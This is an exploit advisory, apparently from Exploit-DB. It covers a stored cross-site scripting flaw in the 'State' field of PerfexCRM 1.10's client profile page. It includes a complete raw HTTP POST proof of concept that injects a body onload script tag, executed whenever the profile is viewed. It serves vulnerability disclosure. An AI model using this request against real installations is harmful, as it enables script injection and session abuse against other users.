perfexcrm 1.10 - 'State' Stored Cross-site scripting (XSS)

vendor:

PerfexCRM

by:

Alhasan Abbas (exploit.msf)

8,8

CVSS

HIGH

Stored Cross-site scripting (XSS)

CWE

Product Name: PerfexCRM

Affected Version From: 1.10

Affected Version To: 1.10

Patch Exists: NO

Related CWE: N/A

CPE: a:perfexcrm:perfexcrm:1.10

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10

2021

perfexcrm 1.10 – ‘State’ Stored Cross-site scripting (XSS)

PerfexCRM version 1.10 is vulnerable to stored cross-site scripting (XSS) in the 'State' field. An attacker can inject malicious JavaScript code into the 'State' field of the 'Clients' profile page. The malicious code will be executed when the victim visits the 'Clients' profile page.

Mitigation:

Input validation should be used to prevent malicious code from being injected into the 'State' field.

Source

Exploit-DB raw data:

# Exploit Title: perfexcrm 1.10 - 'State' Stored Cross-site scripting (XSS)
# Date: 05/07/2021
# Exploit Author: Alhasan Abbas (exploit.msf)
# Vendor Homepage: https://www.perfexcrm.com/
# Version: 1.10
# Tested on: windows 10

Vunlerable page: /clients/profile

POC:
----
POST /clients/profile HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------325278703021926100783634528058

Content-Length: 1548

Origin: http://localhost

Connection: close

Referer: http://localhost/clients/profile

Cookie: sp_session=07c611b7b8d391d144a06b39fe55fb91b744a038

Upgrade-Insecure-Requests: 1



-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="profile"



1

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="profile_image"; filename=""

Content-Type: application/octet-stream





-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="firstname"



adfgsg

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="lastname"



fsdgfdg

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="company"



test

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="vat"



1

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="phonenumber"





-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="country"



105

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="city"



asdf

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="address"



asdf

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="zip"



313

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="state"



""><body onload=alert("XSS")>">

-----------------------------325278703021926100783634528058--

then any one open profile page in user the xss its executed